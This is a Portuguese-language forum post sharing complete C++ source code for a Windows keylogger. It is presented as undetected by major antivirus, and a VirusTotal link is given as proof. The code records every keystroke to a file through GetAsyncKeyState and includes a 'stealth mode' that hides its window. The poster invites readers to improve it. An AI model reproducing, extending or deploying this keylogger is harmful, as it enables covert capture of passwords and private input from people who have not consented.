C / C++ source code de um keylogger

[marllon360]

Bom galera eu estava navegando pela net e achei uma source code de um keylogger e queria compartilhar com vcs esse keylogger e um keylogger local ou seja ele so vai funcionar em seu pc mais se vc souber mexe bem em c++ da pra aprimora o keylogger ele ta indetectavei pelo principais anti-virus

scan:

https://www.virustotal.com/pt/file/3361a1d6694a1903ef9508d531bab083ba51c2c9aa6aec8fd760fe3231ef0807/analysis/1379040467/ 

Codigo:

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#define MAXLINE 15

using namespace std;

int save(int key_stroke, char *file);
void stealth();

int main(void)
{
    system("mode CON: COLS=80 LINES=25"); //setting terminal size
    int k = 0;
    char fname[MAXLINE];
    char c, i, mode;
    bool keepGoing = true;
    int option;
    
    while(keepGoing)
    {
                    cout << "Shell Keylogger Tool [Version 0.4]" << endl;
                    cout << "Developed by boilerdev103." << endl;
                    cout << "\nMAIN MENU" << endl;
                    cout << "1- Run the program" << endl;
                    cout << "2- Exit" << endl;
                    cout << "$(logger): ";
                    cin >> option;
                    if(option == 1)
                    {
                              c = getchar();
                              cout << "\nRUN MENU" << endl;
                              cout << "Please create a log filename..." << endl;
                              cout << "Be sure to use the '.txt' extension for easy access to the logfile" << endl;
                              cout << "$(logger): ";
                              while((c = getchar()) != EOF && c != '\n' && k < MAXLINE - 1)
                              {
                                       fname[k] = c;
                                       ++k;
                              }
                              fname[k] = '\0';
                              cout << "Run keylogger in stealth mode?(y/n): " << endl;
                              cout << "$(logger): ";
                              cin >> mode;
                              if(mode == 'y')
                              {
                                      cout << "Entering Stealth mode... " << endl;
                                      cout << "READ--> to end the program, you MUST KILL the process 'BasicKeyLog.exe' in Windows Task Manager!" << endl;
                                      cout << "$(logger): ";
                                      system("PAUSE");
                                      stealth();        
                              }
                              while(1)
                              {
                                      for(i = 8; i < 190; i++)
                                      {
                                       if(GetAsyncKeyState(i) == -32767)
                                       save(i, fname);
                                      }
                              }
                    }
                    else if(option == 2)
                    {
                         cout << "\tGood bye!" << endl;
                         cout << "$(logger): ";
                         Sleep(1000);
                         keepGoing = false;
                         return 0;
                    }        
    }
    return 0;
}

/* *************************************************************
******************************************************************/

int save(int key_stroke, char *file)
{
    if((key_stroke == 1) || (key_stroke == 2))
                   return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
    
    cout << key_stroke << endl;
    if(key_stroke == 8)
                  fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if(key_stroke == 13)
         fprintf(OUTPUT_FILE, "%s", "\n");
    else if(key_stroke == 32)
         fprintf(OUTPUT_FILE, "%s", " ");
    else if(key_stroke == VK_TAB)
         fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if(key_stroke == VK_SHIFT)
         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if(key_stroke == VK_CONTROL)
         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if(key_stroke == VK_ESCAPE)
         fprintf(OUTPUT_FILE, "%s", "[ESC]");
    else if(key_stroke == VK_TAB)
         fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if(key_stroke == VK_END)
         fprintf(OUTPUT_FILE, "%s", "[END]");
    else if(key_stroke == VK_HOME)
         fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if(key_stroke == VK_LEFT)
         fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if(key_stroke == VK_UP)
         fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if(key_stroke == VK_RIGHT)
         fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if(key_stroke == VK_DOWN)
         fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if(key_stroke == 190 || key_stroke == 110)
         fprintf(OUTPUT_FILE, "%s", ".");
         
    fclose(OUTPUT_FILE);
    return 0;
}

/* *************************************************************
******************************************************************/

void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth, 0);     
} 

imagems: